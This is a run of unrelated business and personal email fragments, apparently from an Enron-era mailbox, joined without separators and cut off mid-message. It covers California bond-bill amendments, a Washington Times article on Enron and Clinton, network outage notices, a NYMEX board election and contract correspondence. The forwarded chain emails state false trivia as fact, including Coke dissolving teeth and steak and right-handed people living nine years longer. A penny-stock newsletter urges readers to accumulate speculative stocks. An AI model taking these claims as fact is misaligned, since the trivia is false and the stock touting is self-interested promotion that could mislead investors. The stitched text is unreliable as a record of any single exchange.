to include some of the Hertzberg language, too.

I'm proposing to the group the following as potential amendments to the
bond bill.  I would appreciate your feedback.  The amendments would be as
follows:

   Customers who were on Direct Access when DWR started buying power (Jan.
   17th?), and are still on Direct Access when the bill passes, should be
   exempt from paying for the bonds.

In short, customers should not be forced to pay for power twice--once from
their ESP, and once from DWR.  Since these customers receive power services
from their ESP, they never consumed DWR power in the first place and it
wouldn't be fair to require them to pay for it.

   Customers who have been utility customers since DWR started buying power
   but subsequently switched to Direct Access should only pay for power
   provided by DWR that they actually consumed, no more and no less.

For example, if a customer was a utility customer when DWR started buying
power but switched to Direct Access on May 1st, then the customer would
only be responsible for reimbursing DWR for power deliveries that took
place from Jan. 17th thru April 30th.

I believe that we agreed on these concepts during the negotiations that
took place over the past 4-5 weeks.  Or if we didn't explicitly agree
during the talks, they seem to be principles on which we ought to be able
to agree pretty easily now. And rather than leave the issue hanging, which
can create unnecessary and costly uncertainty for customers, I suggest that
we include very clear and simple legislative language in the bond bill
clarifying what customers' obligations are.  Your thoughts are appreciated.

In addition, we have talked quite a bit about providing customers with
incentives in the attempt to get California out of the energy hole that it
finds itself in.  Providing (20KW and above) customers with an incentive to
switch to Direct Access as soon as possible could 1) reduce the net short
position that the state (and ultimately consumers) have to finance, thereby
reducing spot purchases and price volatility,  2) reduce electricity
purchasing costs, and 3) reduce the burden on the state budget.

With this in mind, I'm also proposing that the group consider an amendment
to the bond bill that would exempt from bond charges any customer that
switches to Direct Access by September 1st.

Finally, it seems odd that the language directing the PUC to suspend Direct
Access is still in the bill.  If a dedicated rate component is created,
that seems to eliminate altogether the need to suspend Direct Access.  And
if that's the case, would it make sense to delete that language from the
bill?

Look forward to your comments and working with you to get support for and
passage of the "core/noncore" proposal.

Best,
Jeff
This e-mail is intended solely for use of the individual to whom it is
addressed and may contain information that is privileged, confidential or
otherwise exempt from disclosure under applicable law.  If the reader of
this e-mail is not the intended recipient or the employee or agent
responsible for delivering this message to the intended recipient, you are
hereby notified that any dissemination, distribution, or copying of this
communication is strictly prohibited.  If you have received this
communication in error, please immediately notify us by replying to the
original sender of this note.  Thank You.

Shane.Dobbs@fctg.com on 11/01/2000 07:51:57 AM
To: wwilson@eng.auburn.edu, Tharpbl@eng.auburn.edu, dobbsmw@auburn.edu, 
chancewood@earthlink.net, domino@sonet.net, jmjaked@mindspring.com, 
jwood@regionsbank.com, poe77@earthlink.net, gwave85@hotmail.com, 
dobbswn@auburn.edu, phillip.m.love@enron.com, hamptone@booksamillion.com, 
stephaniepool@huntersystems.com
cc:  
Subject: FW: Coke facts

?
From: Rob Stanbridge  [mailto:rob@timberworld.com]
Sent: Wednesday, November 01, 2000 7:49  AM
To: Dobbs_Shane
Cc: Hafley_Robert
Subject: FW:  Coke facts

?
?

Just when you thought you knew everything (no, it's not an anti cola add  
;-)...  

1.In many states the highway patrol carries two gallons of Coke in the truck  
to remove blood from the highway after a car accident. 
2.You can put a  T-bone steak in a bowl of coke and it will be gone in two 
days. 
3.To clean a  toilet: Pour a can of Coca-Cola into the toilet bowl....... Let 
the "real thing"  sit for one hour, then flush clean. 
4.The citric acid in Coke removes stains  from vitreous china. 
5.To remove rust spots from chrome car bumpers: Rub the  bumper with a 
crumpled-up piece of Reynolds Wrap aluminum foil dipped in  Coca-Cola. 
6.To clean corrosion from car battery terminals: Pour a can of  Coca-Cola 
over the terminals to bubble away the corrosion. 
7.To loosen a  rusted bolt: Applying a cloth soaked in Coca-Cola to the 
rusted bolt for several  minutes. 
8.To bake a moist ham: Empty a can of Coca-Cola into the baking  pan;rap the 
ham in aluminum foil, and bake. Thirty minutes before the ham is  finished, 
remove the foil, allowing the drippings to mix with the Coke for a  sumptuous 
brown gravy. 
9.To remove grease from clothes: Empty a can of coke  into a load of greasy 
clothes, add detergent, And run through a regular cycle.  The Coca-Cola will 
help loosen grease stains. It will also clean road haze  fromyour 
windshield.  

FYI: 1.The active ingredient in Coke is phosphoric acid. It's pH is 2.8. It  
will dissolve a nail in about 4 days. 
2.To carry Coca Cola syrup (the  concentrate) the commercial truck must use 
the Hazardous material place cards  reserved for Highly Corrosive materials. 
3.The distributors of coke have  been using it to clean the engines of their 
trucks for about 20 years! Drink up!  No joke. Think what coke and other soft 
drinks do to your teeth on a daily  basis. A tooth will dissolve in a cup of 
coke in 24-48 hours.  

From: 	Lucci, Paul T.  
Sent:	Friday, September 21, 2001 2:18 PM
To:	'duvalma@texaco.com'
Subject:	San Juan/PGE proposal

Mike,

Here is the proposal we had discussed today.  Please look it over and I will contact you early next week to discuss it further.

Thanks again
Paul

interesting reading

From: Knoblauh, Jay 
Sent: Thursday, February 21, 2002 7:56 AM
To: gregory.schockling@bhlp.com
Subject: FW: [www.washtimes.com] Enron/Clinton ties

Sent: Thursday, February 21, 2002 7:54 AM
To: greg.schockling@bhlp.com
Subject: [www.washtimes.com] Enron/Clinton ties

jay.knoblauh@enron.com has sent you an article from The
Washington Times.

CLINTON HELPED ENRON FINANCE PROJECTS ABROAD 

Patrice Hill
THE WASHINGTON TIMES

The Clinton administration provided more than $1 billion in
subsidized loans to Enron Corp. projects overseas at a time
when Enron was contributing nearly $2 million to Democratic
causes.

Clinton officials refused to finance only one out of 20
projects proposed by the energy company between 1993 and
2000 to build power plants, natural-gas pipelines and other
big-ticket energy facilities around the world, according to
the Export-Import Bank and the Overseas Private Investment
Corp., the agencies that provided the subsidies.

In addition, the administration, which lauded Chairman
Kenneth L. Lay as an exemplary "corporate citizen," granted
about $200 million worth of insurance against political
risks for nine Enron projects in such politically volatile
areas as Argentina, Venezuela and the Gaza Strip, according
to documents the agencies provided to the Senate Finance
Committee.

"These projects obviously were a tremendous benefit to
Enron's operations," said Sen. Charles E. Grassley, Iowa
Republican and ranking minority member of the committee. He
noted that the Reagan and Bush administrations approved no
loans for Enron between 1985 and 1992 and provided insurance
for only one Enron power project in Guatemala in 1992.

The Clinton administration provided three loans between 1994
and 1998 to the now-defunct Dabhol power project in India.
Mr. Clinton's commerce secretary, Ron Brown, trumpeted the
approval of the Dabhol loans on a trade mission to India in
1995, with Mr. Lay by his side.

The trip was one of 11 Clinton trade missions provided at
taxpayer expense for corporate executives from Enron and
other companies. The U.S. Trade and Development Agency,
which sponsored the trips, also provided $1 million in
funding to study Enron energy projects in Russia, Eastern
Europe and former Soviet states.

As congressional committees dig for evidence to tie Enron
and Mr. Lay to the Bush administration, evidence of Mr.
Lay's links to the Clinton administration are ample and
well-documented.

Mr. Lay at times was Mr. Clinton's golf partner and slept in
the Lincoln Bedroom. Other top Enron officials attended the
White House's infamous "coffee klatches" with Mr. Clinton,
according to published reports.

Mr. Lay offered a seat on Enron's board of directors to
Robert E. Rubin, Mr. Clinton's Treasury secretary, in 1999
just before he left government, the Associated Press
reported yesterday. Mr. Rubin tried to get Treasury to
intervene on behalf of Enron last fall when the company
credit rating was threatened.

In May 1996, Mr. Clinton lauded Mr. Lay as a good "corporate
citizen" at a White House event because of Enron's
enlightened personnel policies, including profit-sharing of
Enron stock and generous health and pension benefits. Enron
employees now are suing because those benefits are as
worthless as the bankrupt company's stock.

During the Clinton years, Enron contributed more than $1
million to the Democratic Party, including $600,000 to the
Democatic National Committee, according to Federal Election
Commission records. Mr. Clinton and Vice President Al Gore
received contributions of $11,000 and $13,750, respectively,
for their presidential campaigns.

One $100,000 contribution to the DNC was provided before
India gave final approval to Enron's Dabhol project in June
1996. The largest and most expensive capital project ever
undertaken in India, Dabhol was of dubious economic value
and never went on line.

The World Bank, on reviewing the project, said it was not
economically viable and inordinately benefited Enron, which
was a 65 percent owner. Enron still owes $203 million on an
Export-Import Bank loan for the project, which the bank says
is covered by guarantees provided by five Indian banks.

Congressional aides said it is not clear what the taxpayers'
liability will be for that and other loans now that Enron is
bankrupt. The Export-Import Bank said its loans were
extended to overseas subsidiaries of Enron and not the
bankrupt corporation. The overseas investment agency said
its exposure is limited to paying any missed premiums on
Enron's political risk insurance.

Top Clinton officials lobbied personally to obtain Indian
state guarantees for the Dabhol project after it encountered
early problems in 1995. Thomas F. "Mack" McLarty, the White
House chief of staff, made it a top administration priority
to keep the project from failing. The Bush administration
has continued efforts to salvage the project.

Clinton Energy Secretary Hazel O'Leary led a succession of
missions to India, and Mr. Clinton's ambassador to India,
Frank Wisner, was charged with keeping the project afloat.
After Mr. Wisner left government in 1997, he took a seat on
the board of directors of a company then controlled by
Enron. Mr. McLarty also performed work for Enron after
leaving the administration.

This article was mailed from The Washington Times
(http://www.washtimes.com/business/20020221-74571848.htm)
For more great articles, visit us at
http://www.washtimes.com

Copyright (c) 2001 News World Communications, Inc. All
rights reserved.

This e-mail is the property of Bridgeline Holdings, L.P. and/or its relevant affiliate(s) and may contain confidential and privileged material for the sole use of the intended recipient(s). Any review, use, distribution or disclosure by others is strictly prohibited. If you are not the intended recipient (or authorized to receive for the recipient), please contact the sender and delete all copies of the message. This e-mail (and any attachments hereto) are not intended to be an offer (or an acceptance) and do not create or evidence a binding and enforceable contract between Bridgeline Holdings, L.P. (or any of its affiliates) and the intended recipient or any other party, and may not be relied on by anyone as the basis of a contract by estoppel or otherwise. Thank you.

F O R

May 4, 2001 5:00pm through May 7, 2001 12:00am

ENRON NORTH AMERICAN LANS: 
Time:  Fri 5/4/2001 at  9:00:00 PM CT thru Fri 5/4/2001 at  10:00:00 PM CT
	Fri 5/4/2001 at  7:00:00 PM PT thru Fri 5/4/2001 at    8:00:00 PM PT
	Sat 5/5/2001 at 3:00:00 AM London thru Sat 5/5/2001 at  4:00:00 AM London
Outage:  Consolidation Of Networks
Purpose: Consolidating Network Equipment. Moving networks 172.16.48.20, 172.16.136.20, 172.16.51.20, and 172.16.194.20 
                           from 3460 to 3405.
Backout: 
		
Time:  Sat 5/5/2001 at  1:00:00 PM CT thru Sat 5/5/2001 at  7:15:00 PM CT
	Sat 5/5/2001 at  11:00:00 AM PT thru Sat 5/5/2001 at  5:15:00 PM PT
	Sat 5/5/2001 at  7:00:00 PM London thru Sun 5/6/2001 at  1:15:00 AM London
Outage:  Migrating EES VLANs from EB3405-cx11 and EB3405-cx12 to EB3405-cx13 and EB3405-cx14
Purpose: Off-load CPU usage onto current EB3405-CX13 and EB3405-CX14; increase throughput and redundancy.
Backout: Remove EB3405-CX13 and EB3405-CX14.
Replace original access-links connecting HOUCX1 and HOUCX2 back to EB3405-CX11 and EB3405-CX12.
Contact(s): 	Michael Huang  713-875-2478  877-692-2751

Time:  Fri 5/4/2001 at  10:30:00 PM CT thru Sat 5/5/2001 at  12:00:00 AM CT
	Fri 5/4/2001 at    8:30:00 PM PT thru Fri   5/4/2001 at  10:00:00 PM PT
	Sat 5/5/2001 at 4:30:00 AM London thru Sat 5/5/2001 at  6:00:00 AM London
Outage:  Migrating Networks Off Cisco 3 and Cisco 4
Purpose: Migration of Networks Off Legacy Cisco Boxes
Backout: 

Time:  Fri 5/4/2001 at  9:00:00 PM CT thru Sat 5/5/2001 at   1:00:00 AM CT
	Fri 5/4/2001 at  7:00:00 PM PT thru Fri 5/4/2001 at   11:00:00 PM PT
	Sat 5/5/2001 at  3:00:00 AM London thru Sat 5/5/2001 at  7:00:00 AM London
		    		    		    		
Impact:  EI
Time:  Fri 5/4/2001 at  9:00:00 PM CT thru Sat 5/5/2001 at  1:00:00 AM CT
 
OTHER SYSTEMS:
DATE:  MAY 15, 2001/2/2001 at  5:30:00 PM
Environments Impacted:  DSS users will not be able to access the old server (ENEDS01_ADAPT)after this date
Purpose: The existing server is outdated, migrating to SQL 2000 provides increased 
Backout: 
Contact(s): 	Mary Vollmer          713-853-3381
		Joe Hellsten           713-853-7346      713-545-4164
		    		    				    		    		    		
Time:  Fri 5/4/2001 at  8:00:00 PM CT thru Fri 5/4/2001 at  10:00:00 PM CT
	Fri 5/4/2001 at  6:00:00 PM PT thru Fri 5/4/2001 at    8:00:00 PM PT
	Sat 5/5/2001 at  2:00:00 AM London thru Sat 5/5/2001 at  4:00:00 AM London
Outage:  EIGRP Integration - EBS and ENW
Purpose: The EBS network is being integrated into the ENW network. As part of the integration, we will need to bring up EIGRP process 5 on the EBS networking devices. This is the first step in the routing integration. Since ENW is already static routing 10.0.0.0/8 to EBS and EBS is static routing 172.16.0.0/12 and 192.168.0.0/16 to ENW, the impact should be nil.
Backout: Remove eigrp process 5 from iah-ecn44-rtr3.enron.net
		Scott Shishido        713-853-9780		    		    				    		    		    				    		    		  	
Time:  Sat 5/5/2001 at  12:00:00 AM CT thru Sat 5/5/2001 at  1:00:00 AM CT
	Fri  5/4/2001 at  10:00:00 PM PT thru Fri 5/5/2001 at  11:00:00 PM PT
	Sat 5/5/2001 at  6:00:00 AM London thru Sat 5/5/2001 at  7:00:00 AM London
Outage:  Elvis webserver maintenance.
Environments Impacted:  Internet Web pages.
Purpose: Physically stabilize the server in the rack.
Backout: Leave server on shelf unracked
reboot the server

Time:  Fri 5/4/2001 at  6:00:00 PM CT thru Fri 5/4/2001 at  8:00:00 PM CT
	Fri 5/4/2001 at  4:00:00 PM PT thru Fri 5/4/2001 at  6:00:00 PM PT
	Sat 5/5/2001 at  12:00:00 AM London thru Sat 5/5/2001 at  2:00:00 AM London
Outage:  ClearCase Patch
Purpose: This patch will resolve several issues involving the MVFS (ClearCase file system.)
Backout: Remove the patch
Contact(s): 	Troy Beyer  713.345.8316  713.406.1782

I think you're the wonder woman of swapland.  Congrats.  SS

Susan Bailey
03/10/2000 11:17 AM
cc:  
Subject: Enron South America LLC ("ESA")

Sara,

I have just received word from Joe Kishkill.  He has signed the ISDA Master 
Agreement, dated effective July 27, 1999, between RMT and ESA.  We should be 
receiving shortly an executed counterpart for our files.

Yea.

Susan 

----- Forwarded by Tana Jones/HOU/ECT on 03/21/2001 09:24 AM -----

=0903/20/2001 05:50 PM
=09=09=20
=09=09 Subject: (01-98) NYMEX Holdings, Inc. Chairman of the Board & Board =
of=20
Directors Results

Notice No. 01-98
March 20, 2001

TO:
All Exchange Members

FROM:

SUBJECT:
NYMEX Holdings, Inc. Chairman of the Board & Board of Directors Results

The shareholders of the NYMEX Holdings, Inc., and the New York Mercantile=
=20
Exchange, Inc., today elected Vincent Viola by a margin of 476 to 115 as=20
chairman of the board and the following individuals to other positions on t=
he=20
Exchange board of directors: Gordon Rutledge, Madeline Boyd, Gary Rizzi, J.=
=20
Robert Collins, Kenneth Garland, Robert Steele, and Harley Lippman.

A resolution was also passed, by a vote of 469 for and 84 against, to add=
=20
three equity holder representative positions to the board. An election for=
=20
these positions will be scheduled shortly.

Mr. Viola, vice chairman of the Exchange from 1993 to 1996, is the founder=
=20
and sole owner of Pioneer Futures, Inc., which is currently a clearing memb=
er=20
of both divisions of the New York Mercantile Exchange, and the New York Boa=
rd=20
of Trade. Mr. Viola also served on the Exchange board in the at-large=20
category from 1987 to 1990 He is a graduate of the United States Military=
=20
Academy at West Point and achieved the rank of major in the United States=
=20
Army Reserves. In 1983, he graduated from New York Law School with a juris=
=20
doctor degree.

In 1988, Mr. Viola formed the First Bank Group which operates community ban=
ks=20
in Dallas and the surrounding Texas area. In 1998, he formed MV Technologie=
s,=20
a developer of fully integrated electronic platforms for trading futures,=
=20
options, equities, and derivatives.

Mr. Viola co-founded and was chairman of the National Children=01,s Educati=
onal=20
Reform Foundation, which is dedicated to the fundamental reform and=20
improvement of inner-city education with an emphasis on bi-lingual programs=
=20
in immigrant communities. Mr. Viola has served on the West Point Fund=20
committee, an arm of the board of trustees which supports academy cadet=20
programs. In 1997, Mr. Viola received a man-of-the-year award from the Eden=
=20
School for Autistic Children. In 1998, Mr. Viola was awarded the Ellis Isla=
nd=20
Medal of Honor by the National Ethnic Coalition of Organizations. In 2000, =
he=20
was honored with the community service award from the Futures and Options f=
or=20
Kids charitable organization.

Mr. Rutledge was elected as the board representative in the floor broker=20
category. Mr. Rutledge, who is co-founder and owner of Onyx Brokerage Inc.,=
=20
has been a floor broker on the Exchange since 1981, after working for Merri=
ll=20
Lynch as a newswire editor and technical analyst. Prior to starting Onyx, h=
e=20
also worked for MercOil and J. Tafaro Brokerage. He serves on the membershi=
p,=20
technology, arbitration, adjudication, floor broker advisory, and political=
=20
action committees. Mr. Rutledge has a bachelor of arts cum laude from Harva=
rd=20
University.

Ms. Boyd was elected as the local representative to the board. Ms. Boyd has=
=20
been the at-large representative to the board for the past three years and =
a=20
member of the executive committee for the past year. She has traded gasolin=
e=20
for her own account for more than 16 years. She is has been chairman of the=
=20
NYMEX Charitable Foundation since 1992 and is also co-chairman of the local=
=20
advisory committee and the petroleum products advisory committee, and a=20
member of the coal advisory committee. She also serves as a director of the=
=20
Commodity Floor Brokers and Traders Association and Futures and Options for=
=20
Kids and holds a bachelor of science in business from Fairleigh Dickinson=
=20

Mr. Rizzi was reelected for the third time as a futures commission merchant=
=20
(FCM) representative to the board. In addition to serving on the board for=
=20
the past six years, Mr. Rizzi has served two terms on the executive=20
committee, including the past year. He has been a member of the floor=20
community for 22 years. After working for Dean Witter for a year as a clerk=
,=20
Mr. Rizzi joined A.G. Edwards and became floor manager in 1982. He has been=
=20
an officer of the company and a conferring member of the Exchange for 17=20
years. He is also a member of the COMEX Division and both divisions of the=
=20
New York Board of Trade. He is the chairman of the membership, FCM advisory=
,=20
and technology committees and vice chairman of the facilities committee.

J. Robert (Bo) Collins, Jr., ran unopposed to fill the trade slot. Mr.=20
Collins is senior vice president of natural gas trading at El Paso Merchant=
=20
Energy, a division of El Paso Energy Corporation, the largest pipeline=20
operator and the third largest producer of natural gas in North America. Mr=
.=20
Collins directs the natural gas derivatives portfolio. Before joining El Pa=
so=20
in 1997, Mr. Collins was a natural gas and crude oil options market-maker=
=20
with Pioneer Futures on the Exchange trading floor. A graduate of Texas A&M=
=20
University, his first professional experience was in commercial banking wit=
h=20
the Dallas Federal Reserve Bank.

Mr. Collins has been a member of the Exchange since 1995 and has served on=
=20
the options advisory committee since 1996.

Mr. Garland was elected to his first term as the at-large representative to=
=20
the board. After receiving a masters degree in audiology from Long Island=
=20
University, Mr. Garland worked as a private and industrial audiologist for=
=20
eight years. He began trading at the New York Mercantile Exchange for his o=
wn=20
account in 1981. In 1982 and 1983, he also acted as a floor broker. Since=
=20
purchasing his seat in 1983, he has exclusively traded for his own account,=
=20
concentrating most of his time in the gasoline ring. He is vice chairman of=
=20
the Exchange floor and settlement committees; panel chairman on the=20
arbitration and adjudication committees; and also serves on the following=
=20
committees: membership; local advisory; and petroleum product advisory. Mr=
=20
Garland was also recommended by the Exchange in 1994 to represent it on the=
=20
National Futures Association membership appeals subcommittee, a position he=
=20
continues to hold to this day.

Mr. Steele and Mr. Lippman were elected to three-year terms as public=20
directors of the Exchange. Prior to the Exchange=01,s demutualization in=20
November 2000, the public directors were appointed by the board and served=
=20
two year terms.

Mr. Steele served as a public director of the Exchange from 1988 to 1994, a=
nd=20
was re-appointed to the board in 1999. He is vice chairman of John Ryan=20
Company, an international financial services marketing firm, and is directo=
r=20
of the Merlin Retail Financial Center in Stamford, Conn. He previously serv=
ed=20
as president and chief executive officer of the Norwich (CT) Savings Societ=
y=20
from 1975 to 1981, and as president and chief executive officer of Dollar D=
ry=20
Dock Bank of New York from 1985 to 1990.

Mr. Steele was a U.S. congressman (Second District, Conn) from 1970 to 1974=
,=20
and was the Republican candidate for governor of Connecticut in 1974. While=
=20
in Congress , he served on the House Foreign Affairs Committee, was the=20
ranking minority member of the Latin American subcommittee, and chaired or=
=20
co-chaired Congressional task forces on international drug trafficking and=
=20
problems of the aging. Following Congress, he was appointed chairman of the=
=20
Social Security committee of the White House conference on aging. In additi=
on=20
to the Exchange, Mr. Steele serves on the board of directors of SmartServ=
=20
Online (web and wireless transaction platform services provider), Scan=20
Optics, Inc. (document processing systems and information management=20
solutions), and NLC Insurance Companies. He is also chairman of the board o=
f=20
Moore Medical Corp. He served as a Soviet affairs specialist in the Central=
=20
Intelligence Agency from 1963 to 1968. He was a visiting lecturer in=20
government at the United!
 S!
tates Coast Guard Academy and is the recipient of an honorary doctor of law=
s=20
degree from Sacred Heart University in Connecticut.

Mr. Lippman is a major contributor to Feed The Children, sponsoring their=
=20
Christmas event in Harlem in December 2000. He also serves on the advisory=
=20
board of the Columbia University School of International and Public Affairs=
.=20
He is a member of the Information Technology Association of America and a=
=20
former trustee of The Washington Institute. He is also active politically a=
s=20
a fund-raiser for both the Republican and Democratic parties, including=20
hosting fund-raising events at his home.

Last week, Michael Devaney was elected to replace John Moore as chairman of=
=20
the COMEX governors committee, a two-year term in which he will head the=20
committee which advises the board on matters uniquely pertinent to COMEX=20
Division members. In that capacity he will attend all Exchange board meetin=
gs=20
to represent the views of the COMEX Division members.

Mr. Devaney has served as vice chairman of the COMEX governors committee fo=
r=20
the past two-and-a-half years; has served on the governors committee since=
=20
1994; and has been a member of the Exchange since 1985. He is the owner of=
=20
Great Lakes, Inc., an independent floor brokerage operation, and has served=
=20
on the Exchange membership, floor, facilities, business conduct, compliance=
=20
review, marketing, margin, political action, and rules committees.

Editor=01,s note: There will be a press luncheon to meet Mr. Viola at 1:30 =
PM,=20
Wednesday, March 21, on the 10th floor of the New York Mercantile Exchange=
=20
headquarters, One North End Avenue.

email.

"
efdoc
=3D(01-98)"

Trena,

I have received your message. Please, send the model for review to Zimin Lu. 
Maureen Raymond
and myself will work with Zimin to review the model.

Vince

---------------------- Forwarded by Matthew Lenhart/HOU/ECT on 08/25/2000 

val.generes@ac.com on 08/25/2000 07:29:24 AM
To: SoCalCinephile@socal.rr.com, brkaty@aol.com, scott_bateman@qbsol.com, 
Timothy_Blanchard@enron.com, bcambr@lsumc.edu, bcannizaro@shellus.com, 
cgener1@lsu.edu, nicholas.danna@ey.com, tdietz@allstate.com, 
julie_ferguson@gensler.com, agenere@lsu.edu, Lisa.Gillette@enron.com, 
Cherie.Gravois@pbrc.edu, greggremillion@hotmail.com, bholladay@trinityno.com, 
Hurl007@aol.com, jgener1@lsu.edu, kcelestej@ev1.net, Chad.Landry@enron.com, 
Matthew.Lenhart@enron.com, leemac007@yahoo.com, MMMarcantel@equiva.com, 
AirPhotoDave@aol.com, Fiji4x4@aol.com, jpelti@lsumc.edu, samm@dynegy.com, 
Staehl@aol.com, "DARRAH, SHAWN" <sdarrah@entergy.com>, "Engelhardt, Todd W." 
<twengelhardt@walkhaydel.com>, "Mayfield, Jennifer D." 
<JenniferMayfield@associates.PZLQS.com>, "Amy Fontana" 
<amyfontana@centurytel.net>, "ashley daniels" <ashleydaniels7@hotmail.com>, 
"CS duplantis" <csdixie45@hotmail.com>, cwhitney <cwhitney@eatel.net>, 
Heather Devall <hdevall@regents.state.la.us>, "John D. Dawes" 
<jddawes@bellsouth.net>, "Jim Jeffery" <jjeffery@centurytel.net>, "julie 
crouch" <julescrouch@hotmail.com>, Jim Maziarz <maziarz@bellsouth.net>, Ross 
Berthelot <rberth@eatel.net>, stuart hartman <shartman20@hotmail.com>, Bonita 
Picou <staschco@st-theresa.com>, shawn.wharton@ac.com, 
monica.m.andrade@ac.com, brian.r.vassigh@ac.com, katia.carreno@ac.com
cc:  

Subject: Interesting facts, Hmmmm

If you yelled for 8 years, 7 months and 6 days, you would
have produced enough sound energy to heat one cup of coffee.
(Hardly seems worth it)

If you fart consistently for 6 years and 9 months, enough
gas is produced to create the energy of an atomic bomb.
(Now that's more like it)

A pig's orgasm lasts for 30 minutes. (In my next life I want
to be a pig) (How'd they figure this out, and why?)

Banging your head against a wall uses 150 calories an hour.
(Still can't get over that pig thing)
(Don't try this at home...maybe at work?)

Humans and dolphins are the only species that have sex for
pleasure.  (Is that why Flipper was always smiling?)
(And pigs get 30-minute orgasms? Doesn't seem fair)

The strongest muscle in the body is the tongue.
(Hmmmmmmmmm........)

Right-handed people live, on average, nine years longer than
left-handed people do.
(If you're ambidextrous do you split the difference?)

The ant can lift 50 times its own weight, can pull 30 times
its own weight and always falls over on its right side when
intoxicated.
(From drinking little bottles of...?)
(Did taxpayers pay for this research??)

Polar bears are left handed.
(Who knew....? Who cares? How'd they find out, did they
ask them?)

The catfish has over 27,000 taste buds.
(What can be so tasty on the bottom of the pond?)

The flea can jump 350 times its body length. It's like a
human jumping the length of a football field.
(30 minutes...can you imagine?? And why pigs?)

A cockroach will live nine days without it's head, before
it starves to death.
(Creepy)

The male praying mantis cannot copulate while its head is
attached to its body. The female initiates sex by ripping
the male's head off.
(Honey, I'm home. What the....)
(Well, at least pigs get a break there...)

Some lions mate over 50 times a day.
(In my next life I still want to be a pig ... quality over
quantity)

Butterflies taste with their feet.
(Oh, Geez)  (That's almost as bad as catfish)

An ostrich's eye is bigger than it's brain.
(I know some people like that.)

Starfish don't have brains.
(I know some people like that too.)

After reading all these, all I can say is.............
Lucky Pigs...

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  [IMAGE] November 16, 2001 [IMAGE]   [IMAGE] Volume IV, Issue 100 [IMAGE] =
    Email : info@otcjournal.com   URL : http://www.otcjournal.com    To OTC=
 Journal Members:     [IMAGE] Riskless Rebound Portfolio [IMAGE]  Our Novem=
ber 2nd  edition, titled the Riskless Rebound portfolio, continues to climb=
 the charts. As of today's market close, the portfolio as a whole has now a=
ppreciated fully 36.75% over a brief two weeks. The Deutshce Bank Alex Brow=
n IPO Endwave Corporation (NASDAQ: ENWV) is leading the way, up 52% from $.=
84 to $1.28. The company came public on October 17, 2000 at $14 per share, =
and still has $1.78 per share in cash.   Readers will recall we computed th=
e portfolio would rise 88% if each of the five stocks simply appreciated to=
 the level of cash they had in the bank. Therefore, we believe there is con=
siderably more upside in this group of five stocks.   However, the NASDAQ m=
arket has rebounded dramatically off the September 21st lows, and is probab=
ly a little ahead of itself. Therefore, we would caution members who are lo=
oking for good entry levels to wait for a correction sometime between now a=
nd the end of the year before entering or adding to positions. If such a pu=
llback occurs, we will try to help you choose a good entry level.   To view=
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ess in your favorites: http://listserv.otcjournal.com .       [IMAGE] Energ=
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MAGE]  Short Sellers had to be a little demoralized by corporate performanc=
e when Energy Power released it's September (1st Quarter) Financial results=
 on Thursday.   The stock staged a remarkable turn around on Wednesday when=
 the bear assault forced the stock down from nearly $6 to a low of about $4=
. The stock turned around rapidly, and rebounded back above $5 when the com=
pany announced its year end audited results.   The stock continues trading =
over 1 million shares per day, which is historically unprecedented. The vol=
ume needs to quiet in order to identify a true support level for the stock.=
 In the interim, based on historical trading patterns, that the next massiv=
e volume surge will take the stock above the $6 level. Members who chose to=
 take profits when the stock traded above our target price of $5.60 should =
look to re-enter.   Another bear assault on the stock might be just such an=
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r smear campaign we will get the word out as quickly as possible.   In the =
interim, shareholders should be heartened by September quarterly financial =
results, which are as follows:   Consolidated revenues were $5.5 million, u=
p from $4.5 million last year (up 22%). Consolidated gross profits were $1 =
million, up from $.70 million last year (up 43%). Consolidated EBITDA profi=
ts were $.6 million, up from $.1 million last year (up 500%). Consolidated =
profits were $.40 million, up from a loss of $.1 last year. Earnings Per Sh=
are were $.05, up from a loss of $.07 last year. all figures in Canadian Do=
llars  Improved financial results were attributed to revenue flow from the =
newly formed Oil and Gas Division, combined with increasing business at the=
 Engineering and Offshore Division. The company's decision to take massive =
voluntary write downs of assets last year also positions the company for in=
creasing profits going forward. Click Here  to read the entire news release=
 on their quarterly results.   The September quarterly financial performanc=
e is outstanding and should serve to reassure long term shareholders that m=
anagement is performing. We expect the September quarter to be the first in=
 a series of ongoing reports of growth in revenues and profits.     [IMAGE]=
 XMLG Global Technologies (OTC BB: XMLG) Turn Around in its Infancy [IMAGE]=
  [IMAGE]  The recent dramatic rise in the price of XML Global, one of our =
featured companies for 2001, has finally quieted, setting the stage for ano=
ther surge to the upside. XML Global is a leading software company developi=
ng tools for the revolutionary new XML programming language which is widely=
 viewed as the "Holy Grail" of ecommerce.   Despite the most challenging cl=
imate imaginable for a B to B middleware company, evidence is building that=
 XML Global's fortunes are turning back up. After making a 300% move in fiv=
e trading days, the stock has pulled back a little and quieted down, provid=
ing an excellent entry level for investors looking for powerful turn around=
 situations in the speculative end of the market.   Recent corporate develo=
pments support the notion that now is the time to accumulate this stock. Si=
nce the beginning of November the company has announced three major new con=
tracts- One with the city of Vancouver, one with the Canadian Federal Gover=
nment, and one with HomeSource Capital.    The OTC Journal believes the Hom=
eSource Capital contract to be the most important. XML is viewed by many as=
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oon as IT spending picks up XML Global is positioned to grab a significant =
market share.   While most large corporations are embroiled in a bottoming =
business cycle, home finance companies are booming in a strong refinance ma=
rket fueled by low interest rates. The HomeSource Capital contract suggests=
 many other companies will use XML Global software as the business climate =
improves. Click Here  to read the entire text of the HomeSource contract.  =
 While there is some risk of a slight pullback in this stock as a result of=
 year end tax selling, we believe now is the time for bargain basement shop=
pers. The company is gaining the momentum we thought they would have before=
 the recession, and as business turns up there is no telling where this com=
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Richard: 

It was another great deposition day for the plaintiffs.? The high point was 
an audio taped phone conversation of Max Holmes' calling Stickler a liar.? A 
more detailed report is attached.

Frankly, I don't think McDonald and NatWest can let this case go to trial.? 
They will almost surely lose, and lose big, and PaineWebber could be drawn in 
too.? I think I will make a renewed pitch to Bruce MacLeod (Farallon's lawyer 
here this week) to let ECT out.? I will keep you posted.

Steve 

 <<depsum11.27>> 

 - depsum11.27

Kay -- As requested by Lloyd and Reagan, I'm forwarding the freshest draft of 
a control area services agreement we are preparing for circulation to 
Allegheny in relation to the peakers it is acquiring.  As you can see, we are 
looking to get a 'once over' by outside counsel in the next few days.  Please 
call with any questions.  --David

  ----- Forwarded by David Portz/HOU/ECT on 03/01/2001 02:50 PM -----

	David Portz
	03/01/2001 02:48 PM
		 
		 To: Lloyd Will/HOU/ECT@ECT
		 cc: Edward Sacks/Corp/Enron@Enron, Elizabeth Sager/HOU/ECT@ECT, Christi L 
Nicolay/HOU/ECT@ECTMitch Robinson/Corp/Enron@ENRON
		 Subject: Draft Control Area Services Agreement

